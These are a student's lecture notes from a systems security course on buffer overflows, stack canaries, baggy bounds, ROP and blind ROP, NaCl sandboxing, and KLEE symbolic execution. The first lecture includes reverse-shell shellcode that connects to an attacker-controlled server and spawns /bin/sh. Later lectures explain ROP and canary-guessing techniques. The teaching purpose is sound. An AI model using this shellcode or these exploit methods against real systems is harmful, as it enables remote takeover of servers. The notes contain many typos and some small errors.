CS262: Systems Security

Alexander H. Patel
alexanderpatel@college.harvard.edu

Last Updated: September 16, 2017

Contents

1 September 5, 2017: Buffer Overflows

- Project 0 is due on Thursday.
- Today: talking about buffer oerflow attacks. we'll start in the low layer (C layer and x86), and then over the ocurse of the semester we'll make our way up the stack (Bitcoin, Tor, etc.).
- Buffer overflows leverage several observations:
  - System softare often is written in C (things like OSes, databases, network servers, etc.). But C is just high-elevel assembly, and C exposes raw memory to programs.
  - this is a problem because if hte attacker can convince the program to manipulate the program in certain ways then they can take over that program.
  - C is good because of performance. What slows down performance? Safety checks. C does not automatically perform bounds checking on arrays. Because arrays are largely what backs memory and are used everywhere, they are often the target of attacks on C.
  - In most hardware architectures, the stack is going to grow down.
- Recall from last class:

```
int read_req() {
    char buf[128];
    int i;
    gets(buf);
}
```

  So the stack is going to look like (top to bottom) caller frame, return address, saved %`ebp`, and then `buf` (in reverse order 127, ... 2, 1, 0).
- Shell code example: attacker to open a socket to attacher-controled server to receive commands from that server. The code they are going to insert is:

```
int sock = socket(AE_INET, SOCK_STREAM, 0);
connect(sock, /* hardcoded IP address of the attacker server */);
dup2(sock, 0); // stdin of server
dup2(sock, 1); // stdout of server
dup2(sock, 2); // stderr of server
execv(``/bin/sh");
```

  So the server is going to create and connect the socket to an address controlled by the attacker; it's then going to map all the standard file descriptors to the socket so that the all the server's input and output get redirected to the socket. And then finally we're going to exec a shell so that the attacker can control the machine.

- Will this actually work? The attacker can create the above code on their machine and then `objdump -d` to get the assembly to inject.
- Once the shell runs, it runs with the same permissions as the server process. This is why you shouldn't run things are root.
- This was a prevalent techinque 20-30 years ago because it was very easy for the attacker to figure out the information (instruction set, where things were in memory).
- what happens once an attacker controls the server? The subverted server just runs with the privilege of the server, and if that privilege is root then everybody dies. The attacker can then try to subvert the other machines behind the firewall. Within the firewall, we restrict what machines can enter in (ingress). For example, we can have a web server that allows connections through the firewal on a certain port. The web server can then be authorized to make requests to the sensitive machine (inaccessible). So if you have machines that straddle the boundaries of your firewall it is very important that you make those machines secure.
- **airgrapped security** is where there is literally no way for sensitive machines to talk to insensitive machines. Stuxnet (2010) had to use USB keychains to fuck with the airgapped Iranian nuclear centrifuges.
- The NSA will also just intercept brand-new hardware (routers), break the hologram, hack it, then recreate the hologram. The military is also worried that foreign chip manufacturers could stick sleeper cell hardware inside the CPU that will only wake up every X days for Y milliseconds and broadcast everything to the spies. This can be detected with thermal imaging, but that also isn't a great technique because if it's a sleeper cell it will (most of the time) be cold and not show up on the thermal scan.
- Why can't the OS detect a buffer overflow?
  - To a first approximation, the OS only runs when the server code makes system calls. The OS by-and-large is a passive entity. The OS is essentially dorman and it relies on hardware enforced page-table protections to prevent processes from tampering with each other"s memory.
  - A buffer overflow attack is what happens when a process attacks its own memory. The OS can't do anything to prevent this.
  - There is a misconception that you can just change the OS to make the system more security. This does not work a lot of the time.
- Approaches for preventing buffer overflows:
  1. Avoid bugs in C code. C developers should do things like check the lengths of buffers, etc. C devs should treat compiler warnings as errors (the compiler will warn you in many cases of stupid things that you might want to do but shouldn't do - like using `strncpy()` rather than `strcpy()`). Many programs manipulate pointers directly (not using standard libraries). This is a problem because even if you treated all the compiler warnings as gospel, if you are manipulating pointers you are still doing it wrong. Say you had a method:

     ```
     int do_stuff(void *) {}
     ```

     Then there is nothing you can do to make it safe - is `void *` an int, float, or a struct?

2. Static analysis tools. In some cases this work quite well. Image that you have a program;

```
void foo(int *p) {
    int offset;
    int *z = p + offset;
    if (offset > 8) {
        bar(offset);
    }
}
```

   Your compiler will warn you about offset not being defined which is better than ohting. However, you can't prove the absense of bugs.

3. Use managed language (Python, Go, C#) avoid entire classes memory corruption by fiat. For example, no bugs from double frees. Another example is that the managed runtime will automagically check array bounds for you. Whenever you try to do an indexing code `obj[i] = ...`, then the actual code that runs will check whether i is in the boudns of the array.
   - Many of these languages will allow the `unsafe` keywords whereby you can write managed code that accesses main memory.
   - Why would you want to do that? If you want to have snippets of high-performance or low-level code without having to interface directly with C.

- If your program is I/O bound, then the CPU overhead of a managed language like Go, etc. is going to be fine.
- **Baggy Bounds** (stack canaries) - we assume that we have the C source code for a program and that we can recompile the program. Then we can actually create a new version of the program that can automatically check for (some) buffer overflows on the stack.
- In the old system we had local variables at the bottom of the stack beneath the activation record (the stuff that is associated with a single invocation of a function). The new system sticks a canary between the variables (`buf`) and the return address/saved %`ebp`).

```
// compiler places new code at start of function
mov %gs 0x14, %eax
mov %eax, -0x8(%ebp)
xor %eax, %eax

// compiler places at end of function before function return
mov -0x8(%ebp), %edx
xor %gs: 0x14, %edx
je /* code that performs function return */
```

  What is the canary value? It can't be easily guessable (then you would just include the canary in the buffer overflow) but it must be difficult to thwart. A terminator canary is "0<carriage-return><newline>-1" - this is clever because they are often terminator strings for functions like `gets`. `gets` will terminate if it sees one of those characters, so the attacker can't put the canary into the prompt because `gets` will cut them off after they send the canary. Or you could use a random canary whereby you generate the canary at process load time - so the attacker will only be able to hone into the canary valuewith low probability. More importantly

this assume that the server has a vgood source of randomness - if the server does not have good randomness, then the random canary gives you a false sense of security.

2 September 7, 2017: Bounds-checking and ROP

2.1 Baggy Bounds

- Today we're going to take about baggy bounds checking and return-oriented programming. At the end of today's lecture, you're going to be very close to the state-of-the-art of control flow attacks.
- Let's talk about bounds checking. It's designed to prevent out-of-bounds pointers by associating every allocated memory object with its size. The compiler needs to add new instructions to the code that looks at pointer dereferences and makes sure that all the dereferences are safe (actually refer to valid memory locations in-bounds).
- You often hear in bounds-checking of a **derived pointer** (e.g. `char *derived = p + i`). That derived pointer can be in-bounds or else out-of-bounds (either to an invalid memory region or in-bounds to an object that just isn't `p`.
- When these programs detect an OOB reference, there are several things they could do - most often the just kill the program.
- One thing that is sublt to think about is that, once the pointer goes out of bounds, it may be some time before that pointer is actually dereferenced. It's perfectly safe to hold an OOB pointer. There are examples in C/C++ when you store a pointer to the end of the array and then when you iterate you check your local pointer against the end pointer; the end pointer is going to be OOBs but this is a perfectly valid use case.
- How does baggy bounds work? Five simple tricks.

  1. Round up each allocation to a power of 2, and alig the start of the allocated memory to that power of 2 (buddy allocation algorithm).

     ```
     // Allocation rounded up to 64 bytes
     // and aligned to 64 bytes
     char *p = malloc(44);
     ```

     Note that you also have to do this for stack variables and static variables, not just things on the heap.

  2. Represent all of the object sizes as $\log_2$(actual size). For the pointer p above, we represent the size as $\log_2(62) = 6$. "Baggy bounds" are the extra 64-44=20 bytes.

  3. Store bounds info in a linear array with one byte per entry. In the example, 6 goes in the bounds table for p, but how do we map p onto that entry?

  4. Divide memory into slots of a given slot slize. Align each allocated object with the beginning of a slot. This allows us to have fewer array entries (we only need a bounds entry per slot instead of a bounds entry per byte in memory).

     ```
     // Assume slot_size = 16;
     char *p, *q;
     p = malloc(16); // table[p/slot_slize] = 4
     ```

```
// q: table[q/slot_size] = 5
// q: table[q/slot_size + 1] = 5
q = malloc(32);
```

Note that the bounds table entry for q is going to span multiple slots. This table is going to take up $\frac{1}{ssize}$ of your virtual address space.

- What does the actual bounds check look like?

```
// C code
p' = p + i;
// bounds check
// equivalent  to p/slot_size, since slot_size is a power of 2
size = 1 << table[p >> log_of_slot_size];
// gives us the base of the pointer
base = p & ~(size - 1);
// is the pointer greater than the base and fall within the right hand
(p' >= base) && ((p' - base)  size)
```

This is not code that the developer writes; you have to have a compiler insert code like this around all lines of code that create derived pointers.

- Let's say that we detect a derived pointer that has gone out of bounds. In this case, baggy bounds is going to set the high order bit of the pointer to one. Before the program actually starts executing code, we're going to mark all of the pages in the virtual address space. We're then going to mark pages in the upper half of the address space as inaccessible (remember that on most OSes the first half of the address space is already reserved to the kernel). So if you attempt to dereference an OOB pointer, then you get a page fault and the program is prevented from making that dereference.
- So, using the eaxmple above, if we access `char *q = p + 60`, then that pointer is going to be within the baggy bounds of the object and so the program will not crash.
- let's say that we create another pointer `char *r = q + 16`. r is going to be 12 bytes beyond the end of p. This s is more than half a slot away from the base pointer, so raise an error here.
- If you create a derived pointer `char *s = q + 9`, then s is going to be an offset of 68 bytes from p. But s is only 4 bytes beyond the bounds, so that it is less than half a slot away. No error is raised, but the OOB high-order bit is set in s, so S can't be dereferenced. This can be useful because things like C++ iterators go a little out of bounds, but not a lot out of bounds, and we want to accomodate this.
- Finally, consider `char *t = s - 32`. Here. t is back inside the bounds, so OOB bit is cleared by the compiler.
- How do we actually use baggy bounds? Your code must be relinked and recompiled. Relinking forces the application code to invoke a version of malloc()/free() that updates the bounds table. Recompilation actually inserts bounds checking snippets and the table consultation, etc.
- Why do we only allow OOB pointers within half a slot? How do figure out for an OOB object what underlying object it refers to? Baggy bounds does not want to have to store an additional data structure to figure out what object an OOB pointer actually refers to. If we have an allocated object that takes up one or more slots, then an OOB pointer that is in the

bottom of a slot beneath the object in memory must belong to the object above it. Similarly, if we have an OOB pointer in the top of a slot that is above the object in memory, then we know that it's underlying allocated object is the actual object below it.

- How does baggy bounds maintain compability with legacy code? Let's say that your program compiled with the baggy bounds compiler has to link with a library that was not compiled with baggy bounds. If you think about it, the code that you linked to without baggy bounds will not do anything with the bounds table or setting the bounds bits. The way the baggy bounds paper deals with this is by taking the bounds table and just allocate the largest possible object size.
- Even with baggy bounds, you can still get hacked. Uninstrumented libraries are still vulnerable, and code pointers (which don't have bounds associated with them) are still vulnerable.
- There is also the metadata overhead (fat pointers, bounds table); fragmentation from buddy allocation; also CPU overhead from checking bounds; there is also the issue with false alarms (a program that creates a very OOB pointer but never dereferences it). This last one is bad because it fucks with people who are on pager duty.

2.2 Return-Oriented Programming

- The fundamental problems are that an attacker can create executable code and then jump to that code.
- **non-executable code** - back in the old days, page protections just had read and write, execute was implicit and was always there. It turns out that the better thing to do is to have hardware support for a no-execute bit, so that the OS can disable execution support for the stack pages of a program when it spawns it. Then, when the tattacker overflows a return address and jump, the OS will see when the jump tries to go to non-executable code and it can stop it.
- Another defense is **address apce layout randomization** - each segmenet of memory (stack, heap, dynamic libraries, code, static variables) have some associated offset into the virtual address space. This defense it just to randomize these offsets. Why is that useful? If an attacker wants to figure out where the addresses are for exploitable things like buffers, the attacker can't just attach a debugger and find the offsets - those offsets will be different the next time the program is run. In the Linux kernel (linux/fs/binfmt_elf.c), just add some code to randomize where the program brk location is. By default, modern version of Linux randomizes this. However, it's not always safe to randomize the start of the executable code region, because the executable code has branches in it and if those branches have absolute targets then you cna't just move it around. The correct way would be to make a position-independent executable by express jump targets and static variables as offsets from a base register (or by table lookup). Long sotry short, if you don't compiel your code to be position independent then the oS will not actually randomize the start of the code - Linux can even tell if you have written PIE code because there are some flags in the ELF header that tell you this information. However, PIE code hurts you with respect to performance (up to 20%) - the extra level of indirection takes time. Roughly 85% of Linux binaries do not enable PIE. If you're using a 32-bit system, there actually restrictions as to how much randomness you can use (the higher-order bits are generally reserved from the kernel), and the low-order 12 bits can't be randomized because things need to be page aligned. mmap(), mlock() etc. rely on your memory regions being page aligned.

- Assume that the attacker is attacking a machine that uses ASLR and can inject shellcode into an executable memory page. Also assume that the attacker can force a program to jump to a random (but not possibly attacker controller) location (e.g. in a browser, JavaScript can can trigger a bug in the JS engine that corrupts an internal C++ function pointer). Then the attacker can fill the heap with shellcode + nop strings ("heap spraying"), forcing the program to jump to a random location. If that location happens to be in a NOP region, then the CPU will just run all those nop instructions until it hits the shellcode.
- For example, say we have a system that uses NX but does not use stack canaries or ASLR and contains the code:

```
char *bash_path = "/bin/bash";
void read\_req(){}
void run\_ls() {system("/bin/ls")};
```

  Here, our stack will have, from top down, the address in bash_path, junk return address for system, the return address that then gets overridden by system, and then the saved ebp and the buffer used in `read_req`. Then, system() is going to run if the attacker has injected bash_path.
- Let's say that the attacker wants to call the shell three times. So the attacker knows three addresses in the address space: the address of system(), the address of the string "/bin/sh" (they can create that string on the stack if needed), and then they know the starting address for this block:

```
pop %eax \\pops top-of-stack into %eax
ret \\popts top-of-stack and puts in %eip
```

  Opcodes like this are called a gadget. If you have the binary, finding these gadgets is trivial. If you just have an executable on a target machine, finding the gadgets becomes a little more complicated. Your stack (top down) is then lookin glike: address of sh path, addr of pop + ret, addr of system(), adddr of sh path, addr of pop+ret, original return address. After system() executes, it will return to the address at the top of the stack, but this is not the pop+ret gadget. The pop+ret gadget will then execute and ret to system(), and so we can get system() to run a shell three times.... This is devastating because in ROP the program is driven by the stack pointer, not the instruction pointer. As the stack pointer moves down the stack (up in memory), it is going to find these gadget and execute them, which then keeps on sending them up the stack and executing further gadgets. What is very malicious about ROP attacks is that it cannot be stopped by no-execute bits. All the attacker did was put oto the stack the address of pre-existing snippest inthe program in clever way that allowed them to gain control. Obviously, these attacks have to be very carefully constructed, but they are incredibly powerful.
- **Stack reading: defeating canaries** - say you have a server with NX bits + stack canary + ASLR. If we assume that the server has a buffer overflow vulnerability BUT also that the server crashes and restarts if a canary value is overwritten. Finally, let's assume that the canaries that are issued upon restart and the address space are not re-randomized (this is the case if the server uses PIE and uses fork() to spawn processes). Assuming you have such a server, the way to attack this server is you just keep on trying to guess the value of the canary (if the server crashes, just try again when it restarts). If the server didn't restart, then you know that your guess of the canary byte was correct.

- **blind ROP attack** - how to execute a ROP attack against a remote server. First, you identify the canary value by doing that stack reading (you need the server to give you feedback about whether your attack was correct). Once you've figured that out, you can now overwrite return addresses with random addresses looking for a **pause gadget** (that will hang the server). Then, find a gadget that pops one thing off the stack. To figure this out, overwrite the return address with the address of what you think may be a pop-one gadget and then put 0x0 above it. If it isn't a pop-one gadget, then when it returns it will try to dereference a null pointer and crash the server. If it is a pop-one gadget, then it's going to poop 0x0 off the stack and the jump to the pause gadget loaded above 0x0 on the stack. Basically you just look out for more complicated gadgets until you can make arbitrary system call. This attack allows an attacker who has no pre-existing knowledge of where the gadgets are or how things are laid out, with NX and ASLR. In the conference where this was presented, people clapped after 25 seconds of demo. Many servers in the wild are vulnerable to this kind of attack.

3 September 12, 2017: Sandboxing

- With stack canaries, devs have to recompile programs. Baggy bounds checking -> devs have to inject pointer instrumentation in to their code, and sys admins have to relink programs (to expose baggy bounds implementations of malloc() and free().
- How do you know if a random x86 binary is safe? You don't actually know what its instructions come from (like what high-level language it is compiled from). Say you want to run this code on your machine but that you don't know what the side effects are.
- We've looked at no-execute bits, address-space layout randomization. Can we use these to somewhow make it safe to run this binary on our machine. The answer is **no**. Techniques like this do not prevent arbitrary malicious behavior (e.g. tamper with the file system, communication with malicious services). In this paper, Google was imagining a world where you want to execute CNN content our whatever on your browser, but the cool stuff to do you want to run in x86 and not in Javascript. That is Google's vision of the world in this paper.
- With NaCl, the goal is to (untrusted) sandbox x86 code. Sandbox is one of those terms in security that can mean different things in different contexts, but at a high level sandbox means **"restricting code to only perform certain system calls"**.
- In practice, sandboxing code means to restrict the system calls that it can make. This is what NaCl is trying to do.
- **Trusted apps**: Another possible approach to the one taken by NaCl is to trust a set of whitelisted developers. This is clearly a bad idea (an a priori trust relationship), don't trust people. Have developers sign their binaries using a public/private key pair. What's a common example for this? Windows often require drivers and program installers to be signed, so if you want to install a new printer driver, you have to verify that you trust them before you install that software. This is a big problem with signatures, which in theory are really cool, but in practice users always click "Trust". It is very hard to come up with a developer name that people do not trust ("The Rude Boyz", lol). This is the same as with random apps on the app store - there are flashlight apps that are gigabytes in size, and then those apps request too many permissions and steal their data. This is a social trust based notion of security. Public key cryptography doesn't do anything in terms of the functional correctness of the code, obviously you can still buffer overflow even if your app is trusted.

- **Linux seccomp (Secure Computing Mode)** - we're going to do system call filtering, which allows a program to do a one-way transition into a state in which the system calls it is allowed to make is restricted. For example, the user launches a small loader program the purpose of which is to run untrusted code. The loader downloads the untrusted code and then open any file descriptors that the untrusted code should be allowed to use. Then the loader calls seccomp() system call to enter restricted mode, and then jump into the untrusted code. If the untrusted code jumps to an unallowed system call, the OS will kill the process. Clearly this can only be a one-way transition, and the user has to trust the loader.
- NaCL sandbox x86 code, restructing code to only perform certain system calls.
  - What doesn't NaCL use seccomp()? Because some OSes don't support system call filtering.
  - Why doesn't NaCL use VMs (e.g. VMWare, Xen), or Docker? VM images are large objects. Also not all OSes support Docker and they want this to work on every platform. Microsoft was working on a similar project while NaCl was being developed, Google had no idea that Microsoft was working on it. Microsoft's paper (Xax) got into the conference but Google's did not, and so Google just released it as a white paper.
  - Google didn't just ship docker with Chrome because (a) they have more confidence in what they had written themselves and (b) Docker wasn't really a thing, VMs were too big back then.
- NaCl assumes that a trustworthy binary has been compiled by a special compiler. What this means is that the binary will satisfy special structural assumptions. But a random binary will not work if it hasn't gone through this special compiler that results in the binary having certain properties.
- The basic idea is that the static verifier checks the untrusted binary before allowing the binary to run. What it is going to do is check whether the binary satisfies the structural properties which indicate that the binary is actually safe to execute.
- **Outer sandbox** Does runtime checks on system calls that untrusted binary makes.
- THe intended deployment model for NaCl is going to have a browser process running some non-sense Javascript code and then the Outer NaCL sandbox process, These two processes are isolated from one another, and use RPC to communicate with one-another.

4 September 12, 2017: Finish NaCL and KLEE

4.1 Finishing NaCl

- If you look inside the virtual memory for a sandboxed process, in the bottom 256MB of the addresss space that belongs to the untrusted binary, we're going to have the stack, heap, the code for the untrusted coe, then then also the code for the trampoline plus the springboard code. The last thing is injected into the process at the load time for the binary. If you remember, NaCl is going to use segments to isolate the untrusted binary from teh NaCl runtime. Note that tehre are two types of segments taht are going to be used in the untrusted binary. For example, the SS segment is going to contain the stack of the untrusted binary, adn then the DS segment that has the heap, and then another code segmenet with the untrusted code and the trampoline code. In the top half of the binary is going to be the trusted

NaCl runtime, which is going to have stack, heap, code segments. There's two different sets of segment registers that is used for these trusted components, the stack segment that belongs to the NaCl runtime, the data segment that contains the heap that belongs to theNaCl runtime, and a code segment that is going to contain the code for the trusted runtime.

- So for example when you go the website and it gives you the code for the untrusted binary, NaCl is going to set up the untrusted process and set up the segments/registers and inject the code into the top of the address sapce.
- There is a validation process that takes place before we even load up the code. The static validator ensures that the untrusted code doesn't contain instructions that manipulate the untrusted segments so that i cannot break out of them and also that it doesn't contain any other dangerous instructions like `int 80`.
- Basically what this means is that if we have the setup enumerated above, the result is that untrusted code can only be invoke syscalls by somehow jumping ot the NaCl runtime. The springboard code is such that every 32-byte offset in the trampoline is a binary entry point for an allocable system call. Each entry uses a FAR CALL to jump to a code to jump to a code location in the NaCL runtime. If you look at teh FAR CALL instruction, it takes the new code segment to use for the callee. This alows the untrusted code segment (%`cs` register) to be set to something different. So this is going to do some segment register manipulation so that the intrusted and code and stack segment into the trusted NaCl runtime.
- Intel x86_64 is backwards compatible with 32. Their pipeline is set up so that they will shrink the wires when they update the processor. Whenever they change the architecture, everyone comes together and it's alike a convent of witches and somebody will always say, "let's move away from segments." The way that Intel made money for a long was to work with Microsoft, whoo told them to support features that Microsoft wanted in Windows.
- You have to ake sure that the instructions that manipulate the segmenet registers are not 32-bit aligned. So that you have to put the instructions off of the alignment or else it would be possible to jump to that code; this is how you make that safe.

4.2 Automating test cases

- One of the most ipmortant things with writing tests is that developers don't want to write tests. Tools like KLEE are here to automate the nature of testing.
- One of the things that you could imagine doing is you can imagine doing is called **Fuzzing**. This is where you automatically generate random inputs for programs and then you just see if the program crashes or misbehaves fro some application specific notion of misbehaves. This approach doesn't require modifying the source code of the program, you just have to have the ability to send inputs to the program to see if it crashes or misbehaves. It also doesn't require a special runtime, you just have to be able to send inputs to it. Fuzzing is actually nice if you want to test off-the-shelve code and test code on the off-the-shelf server. What is bad about this is that the naive approach to fuzzing doesn't always result in high code coverage, which is what we want for our applications. In most applications, **truly random input is usually rejected early**. If you're just sending random shit to `ls` then it is just not going to work, and so it's going to print out the usage string and that test case has been totally useless to you—this is just have a monkey type Shakespeare at it, it doens't work.

- In practice, you need application specific fuzzing tools. For example, say you want to fuzz test an HTTP server, you actually have to have some notion of template driven fuzzing where you have to speak the basic HTTP protocol where you use differently linked request bodies, have specific test cases that penetrate deeper into the code.
- Another challen with fuzzing is that it doesn't always find boundaries or corner case conditions.
- KLEE uses symbolic manipulation to test corner cases. Either we take one particular direction for the branch, if the sybolic constraints on v indicate only one branch direction can be taken, or if we look at the constraints on a partiucalr value v at the branch then we clone the symbolic execution and we're going to follow both branch direction but we're going to update the cosntraints on v (the value that we branched on) as appropriate for the direction that we branched towards.
- So suppose we have some function:

```
void f(int x, int y) {
    int z = 2 * y;
    if (z == x) {
        if (x > y + 10) {
            error()
        }
    }
}
```

  How do the symbolic constraints evolve throughout this function At the beginning, there are no constraints on x or y. What will happen next is that, when we enter the function and hit the declaration of z, we're going to assign something symbolically to z. Then we're going to do a test on z at which we'll actually hit a branch. At this point we'll make a constraint on z such that $z = 2 * 7$, and then our first branch is the condition $2 * y == x$. If that branch takes the false direction, then this is equivalent to ending the program, at which point we'll have on constraint (that $2 * x! = x$).

  If the condition evaluates to true, then we'll have the condition $x > y + 10$, If that is false, then we exit the program and have the two constraints $(2 * y == x, x \leq y + 10$. One thing he hasn't mentioned yet is that the nice thing about symbolic execution is that it allows us to figure out concrete program inputs that will actually alter the state of the program. What KLEE talks about is the symbolic constraint solvers. You can use the constraint solvers that will satisfy the constraints. So if you know at the end of the execution path that you have certain constraints on the path, then what the symbolic constraint solver says, then KLEE will give you some concrete inputs that will trigger the path. You typically do not want to invoke the constraint solver until you find a concrete bug. Depending on the size of the program, running the constraint solver on it can take hours or days.

  If the second branch evaluates to true, then you know that the error condition will be called if the branch achieves, will have the two constraints $(2 * y == x, x > y + 10)$. So since you know that it shuld not evaluate to this branch ever then if your constraint solver finds values that trigger the branch then you have a bug in your program.
- The number of possible execution paths is exponential in the number of branches. As it turns out, it is very important to have these pruning or search-space heuristics for when you're doing this. To maximize code coverage given a bounded amount of time, we have to use these

heuristics to prioritize which paths to explore. One common approach is to use static control flow graphs, which are graphical representations of how functions call each other. This just tells you what are the different possible paths of execution within a program (if I start at foo(), then I can get to bar() or baz() and so you will have two symbolic executions). So you can associate a visited count with each function, and preferentially explore lonely functions and execution paths (so if you've executed foo() 12 times, bar() 12 times, and qux() one time, then you can track this and explore the graph off of qux() now.

- To deal with like functions that don't terminate or something, then KLEE can apply a utility function to decide which execution graph.
- **KLEE impelmentation** This parallelizes pretty easily because once you have a good symbolic representation of the problem then you can split it up. KLEE compiles the source code into LLVM, which is a bytecode that is higher-level than something like x86 or MIPS. LLVM is what is known as a **load-store architecture**, which means that all instructions operate on registers except for loads and stores. LLVM also has the interesting feature that it is typed, in that you have integers, floats, pointers, functions, you can declare arrays, structs. This isnice because if you actually have type information at this pretty low level then you can do powerful compiler-based optimizations that would be lost if you compile down to a real ISA like MIPS. You will often see a lot of compiler optimizations done on LLVM rather than the machine. So you would compile your program down to LLVM, do compiler optimizations on LLVM, then run your target code. LLVM only has a few dozen instruction types. If you ask someone about the number of instructions x86 has, then this is a target of contention—Intel engineers don't actually know and will argue about this. LLVM is nice for these problems because it is very well understood. You can imagine that LLVM bytecode and Java bytecode are similar in that they are still high-level, but also they are fast to compile down to the machine.
- One of the things that NaCL does is this notion of follow-through analysis, where they have the binary and start at the top and just parse instruction sequences. That is not actually how an x86 architecture works. What you are taught classically is that there are registers and memory and that's fun. There are control registers, etc. that just fuck things up.
- KLEE is going to represent a path's state, where a path actually corresponds to a symbolic set of constraints on the program state, as the architectural state of the LLVM processor. So in particular this means that each path has registers corresponding to the LLVM registers, stack, heap, program counter indicating where the program is executing, and it's also going to have symbolic constraints. It's also going to have symbolic constraints on that architectural state. You can imagine that each path that KLEE is supporting will typically have different symbolic constraints on what path it is exploring.
- Each path has a path condition set of branches that the path has taken plus symbolic constraints or branches. That's going to be important for when we have to do program inputs that put is in certain particular states, here are the constraints I have to have on the concrete inputs that trigger the branch.
- This could mean, for example, that constraints on the architectural state could gain constraints over time such that there could be multiple ways that could get you to a particular point. When KLEE is interpreting a program and it finds a branch, KLEE clones the current branch state for path, creating "taken" and "not taken" clone. So you have this big lists of paths, KLEE interpreter loop.
- How does KLEE know when a path has failed? Above we had this conveniently named

error function? Maybe hte dev has just put in assert statements. So if KLEE hits an assert statement like `assert(x == 0)` then it can check whether the assert can obtain. It can also check intrinsically bad operations like division by 0, which is assumes are bugs in programs. When it encoudes a div instruction, KLEE silently inject a branch that tests whether the divisor is 0. Then KLEE will check the symbolic constraints to see if the divisor could be 0.

- Another interesting thing about KLEE is with how it deals with the environment. A program during symbolic execution can also interact with the environment, input and output sources that are external to a program. So examples of this are the file system, network packets that come from some external server, command line inputs, so on and so forth. All these things involve system calls, because this is how processes communicate with the environment. KLEE uses environmental models to define what system calls should do when invoked with concrete or symbolic values.
- Look at OSS-Fuzz. Google runs a farm of servers that does fuzz testing against Chrome Deployments.